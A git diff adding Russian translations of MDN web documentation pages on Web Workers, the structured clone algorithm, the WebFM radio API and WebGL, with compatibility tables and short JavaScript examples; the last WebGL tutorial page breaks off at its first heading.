+ + diff --git a/files/ru/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html b/files/ru/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html new file mode 100644 index 0000000000..239552d698 --- /dev/null +++ b/files/ru/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html @@ -0,0 +1,345 @@ +--- +title: Функции и классы доступные для Web Workers +slug: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers +translation_of: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers +--- +

In addition to the standard JavaScript set of functions (such as {{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("Object")}}, {{jsxref("JSON")}} etc), there are a variety of functions available from the DOM to workers. This article provides a list of those.

+ +

Workers run in another global context, {{domxref("DedicatedWorkerGlobalScope")}} different from the current window. By default methods and properties of {{domxref("Window")}} are not available to them, but {{domxref("DedicatedWorkerGlobalScope")}}, like Window, implements {{domxref("WindowTimers")}} and {{domxref("WindowBase64")}}.

+ +

Сравнение свойств и методов различных типов worker'ов

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ФункцияВыделенные worker'ыОбщие worker'ыСервис worker'ыChrome worker'ы {{Non-standard_inline}}Внешние worker'ы
{{domxref("WindowBase64.atob", "atob()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WindowBase64.btoa", "btoa()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WindowTimers.clearInterval", "clearInterval()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WindowTimers.clearTimeout", "clearTimeout()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("Window.dump()", "dump()")}} {{non-standard_inline}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WindowTimers.setInterval", "setInterval()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WindowTimers.setTimeout", "setTimeout()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WorkerGlobalScope.importScripts", "importScripts()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}no
{{domxref("WorkerGlobalScope.close", "close()")}} {{non-standard_inline}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, but is a no-op.Unknownno
{{domxref("DedicatedWorkerGlobalScope.postMessage", "postMessage()")}}yes, on {{domxref("DedicatedWorkerGlobalScope")}}nonoUnknownno
+ +

Доступное worker'ам API

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ФункцияФункционалПоддержка Gecko (Firefox)Поддержка IEПоддержка Blink (Chrome and Opera)Поддержка WebKit (Safari)
{{domxref("Broadcast_Channel_API","Broadcast Channel API")}}Allows simple communication between {{glossary("browsing context", "browsing contexts")}} (that is windows, tabs, frames, or iframes) with the same {{glossary("origin")}} (usually pages from the same site).{{ CompatGeckoDesktop(38)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("Cache", "Cache")}}Cache API provides the ability to programmatically control cache storage associated with current origin.{{CompatVersionUnknown}}{{CompatNo}}{{ CompatChrome(43) }}{{CompatUnknown}}
{{domxref("Channel_Messaging_API", "Channel Messaging API")}}Allows two separate scripts running in different browsing contexts attached to the same document (e.g., two IFrames, or the main document and an IFrame, two documents via a {{domxref("SharedWorker")}}, or two workers) to communicate directly via two ports.{{ CompatGeckoDesktop(41)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("Console", "Console API")}}Provides access to the browser's debugging console (e.g., the Web Console in Firefox). The specifics of how it works vary from browser to browser, but there is a de facto set of features that are typically provided.{{ CompatGeckoDesktop(38)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("CustomEvent")}}The CustomEvent interface represents events initialized by an application for any purpose.{{ CompatGeckoDesktop(48)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("Data_Store_API", "Data Store")}}A powerful, flexible storage mechanism for multiple Firefox OS applications to use to store and share data between one another quickly, efficiently, and securely.Only in Firefox OS internal (certified) applications, since v1.0.1.{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("DOMRequest")}} and {{domxref("DOMCursor")}}Respectively, these objects represents an ongoing operation (with listeners for reacting to the operation completely successfully, or failing, for example), and an ongoing operation over a list of results.{{ CompatGeckoDesktop(41)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("Fetch_API", "Fetch")}}The Fetch spec provides an up-to-date definition of, and API for, fetching resources (e.g. across the network.)Mostly in {{ CompatGeckoDesktop(34)}} behind pref, although a few features are later.{{CompatNo}}{{ CompatChrome(42) }}
+ {{ CompatChrome(41) }} behind pref		{{CompatNo}}
{{domxref("FileReader")}}This API allows asynchronous read of {{domxref("Blob")}} and {{domxref("File")}} objects.{{CompatGeckoDesktop(46)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
{{domxref("FileReaderSync")}}This API allows synchronous read of {{domxref("Blob")}} and {{domxref("File")}} objects. This is an API that works only in workers.{{CompatGeckoDesktop(8)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("FormData")}}FormData objects provide a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the XMLHttpRequest send() method.{{CompatUnknown}} (should be in {{CompatGeckoDesktop(39)}}){{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
{{domxref("ImageData")}}The underlying pixel data of an area of a {{domxref("canvas")}} element. Manipulating such data can be a complex task better suited to be delegated to a Web Worker.{{CompatGeckoDesktop(25)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("IndexedDB_API", "IndexedDB")}}Database to store records holding simple values and hierarchical objects.{{CompatGeckoDesktop(37)}},  {{CompatGeckoDesktop(42)}} for {{domxref("IDBCursorWithValue")}}.10.0{{CompatVersionUnknown}}{{CompatNo}}
{{domxref("Notifications_API", "Notifications")}}Allows web pages to control the display of system notifications to the end user{{CompatGeckoDesktop(41)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("Performance")}}The Performance interface represents timing-related performance information for the given page.{{ CompatGeckoDesktop("34.0") }}{{CompatUnknown}}{{ CompatChrome("33.0") }}{{CompatUnknown}}
{{jsxref("Promise")}}JavaScript objects that allow you to write asynchronous functions.{{CompatGeckoDesktop(28)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("ServiceWorkerRegistration")}}You can register a service worker from inside a standard worker, and use associated functionality.{{CompatGeckoDesktop(40)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
{{domxref("TextEncoder")}} and {{domxref("TextDecoder")}}Create and return a new {{domxref("TextEncoder")}}, or respectively {{domxref("TextDecoder")}}, allowing to encode or decode strings into specific encodings.{{CompatGeckoDesktop(20)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{ domxref("URL") }}Workers can use the static methods URL.createObjectURL and URL.revokeObjectURL with {{domxref("Blob")}} objects accesible to the worker.
+ Workers can also create a new URL using the {{domxref("URL.URL", "URL()")}} constructor and call any normal method on the returned object.		{{CompatGeckoDesktop(21)}} and {{CompatGeckoDesktop(26)}} for URL() constructor{{CompatNo}}{{CompatNo}}{{CompatNo}}
WebGL with {{domxref("OffscreenCanvas")}}WebGL (Web Graphics Library) is a JavaScript API for rendering interactive 3D and 2D graphics within any compatible web browser without the use of plug-ins.{{CompatGeckoDesktop(44)}} behind a feature preference setting. In about:config, set gfx.offscreencanvas.enabled to true.{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("WebSocket")}}Creates and returns a new {{domxref("WebSocket")}}  object; this mimics the behavior of the standard WebSocket() constructor.{{CompatGeckoDesktop(37)}}11.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("Worker")}}Creates a new {{ domxref("Worker") }}. Yes, workers can spawn more workers.{{CompatGeckoDesktop("1.9.1")}}10.0{{CompatNo}} See crbug.com/31666{{CompatNo}}
{{domxref("WorkerGlobalScope")}}The global scope of workers. This objects defines worker-specific functions.{{CompatVersionUnknown}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("WorkerLocation")}}The subset of the {{domxref("Location")}} interface available to workers.{{CompatGeckoDesktop(1.9.2)}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("WorkerNavigator")}}The subset of the {{domxref("Navigator")}} interface available to workers.Basic implementation {{CompatVersionUnknown}}
+ {{domxref("NavigatorID.appCodeName", "appCodeName")}}, {{domxref("NavigatorID.product", "product")}}, {{domxref("NavigatorID.taintEnabled", "taintEnabled()")}}: {{CompatGeckoDesktop(28)}}
+ {{domxref("WorkerNavigator.onLine", "onLine")}}: {{CompatGeckoDesktop(29)}}
+ {{domxref("NavigatorLanguage")}}: {{CompatVersionUnknown}}		{{domxref("NavigatorID.appName", "appName")}}, {{domxref("NavigatorID.appVersion", "appVersion")}}, {{domxref("WorkerNavigator.onLine", "onLine")}}, {{domxref("NavigatorID.platform", "platform")}}, {{domxref("NavigatorID.userAgent", "userAgent")}}: 10.0
+ Other: {{CompatNo}}		{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("XMLHttpRequest")}}Creates and returns a new {{domxref("XMLHttpRequest")}}  object; this mimics the behavior of the standard XMLHttpRequest() constructor. Note that the responseXML and channel attributes on XMLHttpRequest always return null. +

Basic: {{CompatGeckoDesktop("1.9.1")}}

+ +

{{domxref("XMLHttpRequest.response", "response")}} and {{domxref("XMLHttpRequest.responseType", "responseType")}} are available since {{CompatGeckoDesktop("10")}}

+ +

{{domxref("XMLHttpRequest.timeout", "timeout")}} and {{domxref("XMLHttpRequest.ontimeout", "ontimeout")}} are available since {{CompatGeckoDesktop("13")}}

+ 		{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/web_workers_api/index.html b/files/ru/web/api/web_workers_api/index.html new file mode 100644 index 0000000000..706dab35cb --- /dev/null +++ b/files/ru/web/api/web_workers_api/index.html @@ -0,0 +1,223 @@ +--- +title: Web Workers API +slug: Web/API/Web_Workers_API +tags: + - API + - NeedsTranslation + - Service Workers + - Shared Workers + - TopicStub + - Web Workers + - Workers +translation_of: Web/API/Web_Workers_API +--- +

{{DefaultAPISidebar("Web Workers API")}}

+ +

Web Workers это механизм, который позволяет скрипту выполняться в фоновом потоке, который отделен от основного потока веб-приложения. Преимущество заключается в том, ресурсоёмкие вычисления могут выполняться в отдельном потоке, позволяя запустить основной (обычно пользовательский) поток без блокировки и замедления.

+ +

Концепции и использование Web воркеров

+ +

Worker (работник, воркер)  - это объект созданный при помощи конструктора (например, {{domxref("Worker.Worker", "Worker()")}}), который запускает именованный файл JavaScript - этот файл содержит код, который будет запускаться в потоке воркера; воркеры запускаются в другом глобальном контексте отличном от текущего контекста {{domxref("window")}}. Этот контекст представлен объектом {{domxref("DedicatedWorkerGlobalScope")}} в случае специализированных воркеров (стандартные воркеры, которые используются одним скриптом, общие воркеры используют {{domxref("SharedWorkerGlobalScope")}}).

+ +

Вы можете запустить любой код, который вам нравится внутри потока воркера, за некоторыми исключениями. Например, вы не можете напрямую манипулировать DOM внутри воркера или использовать некоторые методы и свойства по умолчанию объекта {{domxref("window")}}. Но вы можете использовать большое количество свойств и методов, доступных в window, включая WebSockets, и механизм хранения данных такой, как IndexedDB или Data Store API, который доступен только в ОС Firefox. За дополнительной информацией смотрите Функции и классы доступные воркерам.

+ +

Данные отправляются между потоком воркера и основным потоком через систему сообщений - обе стороны отправляют свои сообщения с помощью метода postMessage () и отвечают на сообщения через обработчик события onmessage (сообщение содержится в атрибуте данных события  {{event("Message")}}. Данные копируются, а не используются совместно.

+ +

Воркеры могут, в свою очередь, создавать новых воркеров, в этом случае они должны иметь одно и то же происхождение - родительскую страницу. Кроме того, воркеры могут использовать XMLHttpRequest для сетевого ввода-вывода, за исключением того, что атрибуты responseXML и channel на XMLHttpRequest всегда возвращают значение null.

+ +

В дополнение к специализированным существуют и другие виды воркеров:

+ + + +
+

Замечание: В соответствии с Web workers Spec, события ошибок воркеров не должны "всплывать" (смотрите  {{bug(1188141)}}. Такое поведение было реализовано в Firefox 42.

+
+ +

Интерфейсы Web воркера

+ +
+
{{domxref("AbstractWorker")}}
+
Абстрактные свойства и методы общие для всех типов воркеров (т.е. {{domxref("Worker")}} или {{domxref("SharedWorker")}}).
+
{{domxref("Worker")}}
+
Представляет поток исполнения воркера, позволяющий передавать сообщения текущему коду воркера.
+
{{domxref("SharedWorker")}}
+
Представляет конкретный вид воркера, к которому можно получить доступ из нескольких контекстов, будь то несколько окон, iframe или даже воркеров.
+
{{domxref("WorkerGlobalScope")}}
+
Represents the generic scope of any worker (doing the same job as {{domxref("Window")}} does for normal web content). Different types of worker have scope objects that inherit from this interface and add more specific features.
+
{{domxref("DedicatedWorkerGlobalScope")}}
+
Represents the scope of a dedicated worker, inheriting from {{domxref("WorkerGlobalScope")}} and adding some dedicated features.
+
{{domxref("SharedWorkerGlobalScope")}}
+
Represents the scope of a shared worker, inheriting from {{domxref("WorkerGlobalScope")}} and adding some dedicated features.
+
{{domxref("WorkerNavigator")}}
+
Представляет идентификатор и состояние пользовательского агента (клиента).
+
+ +

Примеры

+ +

Мы создали пару простых демонстрационных программ чтобы показать основы использования:

+ + + +

Больше информации о том, как работают эти демонстрационные программы, вы можете найти в статье Использование Web воркеров.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#toc-workers')}}{{Spec2('HTML WHATWG')}}Не отличается от {{SpecName("Web Workers")}}.
{{SpecName('Web Workers')}}{{Spec2('Web Workers')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка4{{CompatGeckoDesktop(1.9.1)}}10.010.64
Разделяемые воркеры4{{CompatGeckoDesktop(29)}}{{CompatNo}}10.64
Передача данных через использование структурного клонирования13{{CompatGeckoDesktop(8)}}10.011.56
Передача данных с использованием передаваемых объектов17 {{property_prefix("webkit")}}
+ 21		{{CompatGeckoDesktop(18)}}{{CompatNo}}156
Глобальный {{domxref("window.URL", "URL")}}10[1]
+ 23		{{CompatGeckoDesktop(21)}}11156[1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка4.44{{CompatGeckoMobile(1.9.1)}}1.0.110.011.55.1
Разделяемые воркеры{{CompatNo}}4291.4{{CompatNo}}{{CompatNo}}{{CompatNo}}
Передача данных через использование структурного клонирования{{CompatNo}}481.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Передача данных с использованием передаваемых объектов{{CompatNo}}{{CompatNo}}181.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Как webkitURL.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html new file mode 100644 index 0000000000..883d5d3122 --- /dev/null +++ b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html @@ -0,0 +1,153 @@ +--- +title: Алгоритм структурированного клонирования +slug: Web/API/Web_Workers_API/Structured_clone_algorithm +translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm +--- +

Алгоритм структурированного клонирования — это новый алгоритм, определенный спецификацией HTML5 для сериализации комплексных JavaScript объектов. Он более функционален, чем JSON в том что способен поддерживать сериализацию объектов содержащих циклические графы — первичные объекты, которые ссылаются на другие объекты у которых есть ссылка на первичные объекты в том же графе. В дополнение, в некоторых других случаях алгоритм структурированного клонирования может быть более эффективен, чем JSON.

+ +

Аглоритм, по существу, перебирает все поля оригинального объекта, дублируя значения каждого поля в новый объект. Если поле представляет из себя объект с собственными полями, то эти дочерние поля также перебираются рекурсивно, пока каждое поле и все дочерние поля не будут продублированы в новый объект.

+ +

Преимущества перед JSON

+ +

Вот основные преимущества структурированного клонирования перед JSON:

+ + + +

Исключения, не работающие со структурированными клонами

+ + + +

Поддерживаемые типы

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Object typeNotes
All primitive typesHowever not symbols
Boolean object
String object
Date
RegExpThe lastIndex field is not preserved.
{{ domxref("Blob") }}
{{ domxref("File") }}
{{ domxref("FileList") }}
ArrayBuffer
ArrayBufferViewThis basically means all typed arrays like Int32Array etc.
{{ domxref("ImageData") }}
Array
ObjectThis just includes plain objects (e.g. from object literals)
Map
Set
+ +

Другой вариант: вложенное копирование‎

+ +

Если вы хотите сделать вложенную копию объекта (т.е рекурсивно копировать все вложенные свойства, проходя по прототипной цепи),  вы должны использовать другой подход. Ниже приведен возможный пример.

+ +
function clone(objectToBeCloned) {
+  // Basis.
+  if (!(objectToBeCloned instanceof Object)) {
+    return objectToBeCloned;
+  }
+
+  var objectClone;
+
+  // Filter out special objects.
+  var Constructor = objectToBeCloned.constructor;
+  switch (Constructor) {
+    // Implement other special objects here.
+    case RegExp:
+      objectClone = new Constructor(objectToBeCloned);
+      break;
+    case Date:
+      objectClone = new Constructor(objectToBeCloned.getTime());
+      break;
+    default:
+      objectClone = new Constructor();
+  }
+
+  // Clone each property.
+  for (var prop in objectToBeCloned) {
+    objectClone[prop] = clone(objectToBeCloned[prop]);
+  }
+
+  return objectClone;
+}
+
+ +
  Note: Этот алгоритм  реализован  только для  RegExp, Array, и Date специальных объектов. Вы можете реализовать другие условия, удовлетворяющие вашим потребностям.
+ +

Еще по теме

+ + diff --git a/files/ru/web/api/webfm_api/index.html b/files/ru/web/api/webfm_api/index.html new file mode 100644 index 0000000000..11727674af --- /dev/null +++ b/files/ru/web/api/webfm_api/index.html @@ -0,0 +1,156 @@ +--- +title: WebFM API +slug: Web/API/WebFM_API +tags: + - WebFMAPI +translation_of: Archive/B2G_OS/API/WebFM_API +--- +

{{ non-standard_header() }}

+ +

{{ B2GOnlyHeader2('installed') }}

+ +

Summary

+ +

The WebFM API provides access to the device FM radio. It allows turning the radio on/off and switching among radio stations. This API is available through the {{domxref("window.navigator.mozFMRadio","navigator.mozFMRadio")}} property which is a {{domxref("FMRadio")}} object.

+ +

Включение и выключение радио

+ +

Для того чтобы включить радио используйте метод {{domxref("FMRadio.enable()")}}, для выключения {{domxref("FMRadio.disable()")}}.

+ +

Перед включением радио следует проверить доступность антены, так как без нее встроенный радиомодуль не в состоянии поймать какую либо станцию. Информация о доступности антенны находится в свойстве {{domxref("FMRadio.antennaAvailable")}}. Как правило, в мобильных устройствах роль антены выполняют наушники (проводная гарнитура). Каждый раз когда пользователь подсоединяет или отсоединяет проводную гарнитуру WebFM API вызывает событие {{event("antennaavailablechange")}}.

+ +

To turn the radio on it's necessary to provide a frequency to listen. That frequency (in MHz) is a number pass to the {{domxref("FMRadio.enable()")}} method.

+ +
// Частота радиостанции в MHz
+var frequency = 99.1;
+var radio = navigator.mozFMRadio;
+
+if (radio.antennaAvailable) {
+  radio.enable(frequency);
+} else {
+  alert("Вам необходимо подсоединить гарнитуру");
+}
+
+radio.addEventListener('antennaavailablechange', function () {
+  if (radio.antennaAvailable) {
+    radio.enable(frequency);
+  } else {
+    radio.disable();
+  }
+})
+
+ +
+

Note: The audio is output through the normal audio channel available on the device.

+
+ +

Switching among frequency

+ +

Switching from on frequency to another can be done manually or automatically. In any case, the current radio frequency listened to by the built-in radio is always available with the {{domxref("FMRadio.frequency")}} property. That property is number representing the frequency in MHz.

+ +

Manual switch

+ +

The {{domxref("FMRadio.setFrequency()")}} method must be used to set a new frequency to listen. However, there are some constraints about the value that can be set. The method will return a {{domxref("DOMRequest")}} object to handle the success or error of the method call. The frequency must fulfill the following requirements:

+ + + +
var change = radio.setFrequency(frequency);
+
+change.onerror = function () {
+  var min = radio.frequencyLowerBound;
+  var max = radio.frequencyUpperBound;
+  console.warn('The frequency must be within the range [' + min + ',' + max + ']');
+}
+
+change.onsuccess = function () {
+  console.log('The frequency has been set to ' + radio.frequency);
+}
+
+ +

Автоматический поиск

+ +

WebFM API предоставляет удобный способ автоматического поиска радиоканалов. Для восходящего поиска используйте метод {{domxref("FMRadio.seekUp()")}}, а для низходящего, метод {{domxref("FMRadio.seekDown()")}}.

+ +

The WebFM API also provides a convinient way to seek radio channels automatically. To that end, we can use the {{domxref("FMRadio.seekUp()")}} (to find a radio channel on a higher frequency than the current one) and {{domxref("FMRadio.seekDown()")}} method. The former is used to find a radio channel with a higher frequency than the current one, and the latter for a radio channel with a lower frequency. Those methods return a {{domxref("DOMRequest")}} object to handle the success or error of each method call.

+ +

Both methods will circle back to higher or lower frequency once they reach the {{domxref("FMRadio.frequencyLowerBound","frequencyLowerBound")}} or {{domxref("FMRadio.frequencyUpperBound","frequencyUpperBound")}} values. When they find a new radio channel, they change the current frequency and fire a {{event("frequencychange")}} event.

+ +

It's not possible to seek twice at the same time (e.g. it's not possible to seek up and down at the same time), trying to do so, will result in an error. But if necessary it's possible to stop seeking by calling the {{domxref("FMRadio.cancelSeek()")}} method. This method will also return a {{domxref("DOMRequest")}} object.

+ +
var radio   = navigator.mozFMRadio;
+var seeking = false;
+var UP      = document.querySelector("button.up");
+var DOWN    = document.querySelector("button.down");
+
+// When the frequency change, the seek
+// functions automatically stop to seek.
+radio.onfrequencychange = function () {
+  seeking = false;
+}
+
+function seek(direction) {
+  var cancel, search;
+
+  // If the radio is already seeking
+  // we will cancel the current search.
+  if (seeking) {
+    var cancel = radio.cancelSeek();
+    cancel.onsuccess = function () {
+      seeking = false;
+
+      // Once the radio no longer seek,
+      // we can try to seek as expected
+      seek(direction);
+    }
+
+  // Let's seek up
+  } else if (direction === 'up') {
+    // Just to be sure that the radio is turned on
+    if (!radio.enabled) {
+      radio.enable(radio.frequencyLowerBound);
+    }
+    search = radio.seekUp();
+
+  // Let's seek up
+  } else if (direction === 'down' {
+    // Just to be sure that the radio is turned on
+    if (!radio.enabled) {
+      radio.enable(radio.frequencyUpperBound);
+    }
+    search = radio.seekDown();
+  }
+
+  if (search) {
+    search.onsuccess = function () {
+      // Ok, we are seeking now.
+      seeking = true;
+    };
+    search.onerror = function () {
+      // Something goes wrong... ok, let's try again.
+      seek(direction);
+    }
+  }
+}
+
+UP.addEventListener('click', function () {
+  seek('up');
+});
+
+DOWN.addEventListener('click', function () {
+  seek('down');
+});
+
+ +

Specification

+ +

Not part of any specification.

+ +

See also

+ + diff --git a/files/ru/web/api/webgl_api/index.html b/files/ru/web/api/webgl_api/index.html new file mode 100644 index 0000000000..6a35a2dda3 --- /dev/null +++ b/files/ru/web/api/webgl_api/index.html @@ -0,0 +1,106 @@ +--- +title: WebGL +slug: Web/API/WebGL_API +tags: + - WebGL +translation_of: Web/API/WebGL_API +--- +
{{WebGLSidebar}}
+ +

WebGL (Web Graphics Library) - программная библиотека для языка JavaScript предназначенная для визуализации интерактивной трехмерной графики и двухмерной графики в пределах совместимости веб-браузера без использования плагинов. WebGL приносит в веб трехмерную графику, вводя API, который построен на основе OpenGL ES 2.0, что позволяет его использовать в элементах canvas HTML5 .

+ +

Поддержка WebGL присутствует в Firefox 4+, Google Chrome 9+, Opera 12+, Safari 5.1+ и Internet Explorer 11+. Однако помимо поддержки WebGL браузером, необходима также его поддержка графическим процессором клиента.

+ + + + + + + + +
+

Разработка

+ +
+
Начало работы с WebGL
+
Как настроить контекст WebGL .
+
Добавление 2D контента в контекст WebGL
+
Как отобразить простую плоскую фигуру с помощью WebGL.
+
Использование шейдеров для назначения цвета в WebGL
+
Демонстрирует как добавить цвет фигурам, используя шейдеры.
+
Анимация объектов с помощью WebGL
+
Показывает как повернуть и перемещать объекты для создания простой анимации.
+
Создание 3D объектов с помощью WebGL
+
Показывает как создавать и анимировать 3D объект (в данном случае куб).
+
Использование текстур в WebGL
+
Демонстрирует как разместить текстуры на гранях объекта.
+
Освещение в WebGL
+
Как имитировать эффекты освещения в контексте WebGL .
+
Анимация текстур в WebGL
+
Показывает как анимировать текстуры; в данном случае путём размещения видео Ogg на гранях вращающегося куба.
+
WebGL: советы по применению на практике
+
Советы и предложения по улучшению контента, созданного вами при помощи WebGL.
+
Текстуры с других доменов
+
Информация о загрузке текстур с других доменов, отличных от того, с которого загружается ваш контент.
+
Использование расширений
+
Как использовать расширения, доступные в WebGL.
+
+ 		+ + +
+
Спецификация WebGL
+
Спецификация WebGL.
+
Официальный сайт WebGL
+
Веб-сайт разработчиков WebGL - Khronos Group.
+
Изучение WebGL
+
Веб-сайт с уроками, посвященными использованию WebGL.
+
Основы WebGL
+
Учебные материалы по основным возможностям WebGL.
+
Матрицы в WebGL
+
Введение в использование матриц в двухмерной графике на WebGL. На этом ресурсе объясняется математическая основа перспективы в трехмерной графике.
+
Советы по использованию WebGL
+
Веб-сайт с советами по написанию кода на WebGL.
+
ewgl-matrices
+
Библиотека для работы с матрицами для WebGL
+
glMatrix
+
Библиотека для работы с матрицами и векторами, написанная на JavaScript, предназначенная для высокопроизводительных приложений на WebGL
+
mjs
+
Математическая библиотека для работы с векторами и матрицами, написанная на JavaScript, оптимизированная для использования с WebGL.
+
Sylvester
+
Библиотека с открытым исходным кодом для работы с векторами и матрицами. Не оптимизирована для WebGL, но производительная.
+
WebGL площадка
+
Онлайн инструмент для создания и публикации проектов на WebGL. Удобна для быстрого прототипирования и экспериментирования.
+
Академия WebGL
+
Редактор HTML/Javascript с учебными материалами для обучения основам программирования на webgl.
+
+
+ +

Совместимость с браузерами

+ +

WebGL 1

+ +
+ + +

{{Compat("api.WebGLRenderingContext", 0)}}

+ +

WebGL 2

+
+ + + +

{{Compat("api.WebGL2RenderingContext", 0)}}

+ +

Замечания по Gecko

+ +

Отладка и тестирование WebGL

+ +

Начиная с Gecko 10.0 {{geckoRelease("10.0")}}, имеются две настройки, позволяющие вам управлять возможностями WebGL для тестирования своего кода:

+ +
+
webgl.min_capability_mode
+
Свойство типа Boolean которое, при значении true позволяет запускать режим минимальных функциональных возможностей. В этом режиме WebGL сконфигурирован осуществлять поддержку минимального набора функциональных возможностей, поддержка которых обязательна по спецификации WebGL. Это позволяет вам убедиться в том, что ваш код на WebGL будет работать на любом устройстве или браузере, независимо от их возможностей. Значением по умолчанию для это свойства является значение false.
+
webgl.disable_extensions
+
Свойство типа Boolean которое, при значении true отключает все расширения WebGL. Значением по умолчанию для это свойства является значение false.
+
diff --git a/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html new file mode 100644 index 0000000000..98198d8f7e --- /dev/null +++ b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html @@ -0,0 +1,223 @@ +--- +title: Добавление двухмерного контента в контекст WebGL +slug: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context +tags: + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}

+ +

После того, как вы успешно создали контекст WebGL, вы можете начинать отображать в нем графические объекты. Простейшая вещь, которую вы можете сделать - отрисовать простой квадрат без текстуры. Итак, начнём построение кода для отрисовки квадрата.

+ +

Отрисовка сцены

+ +

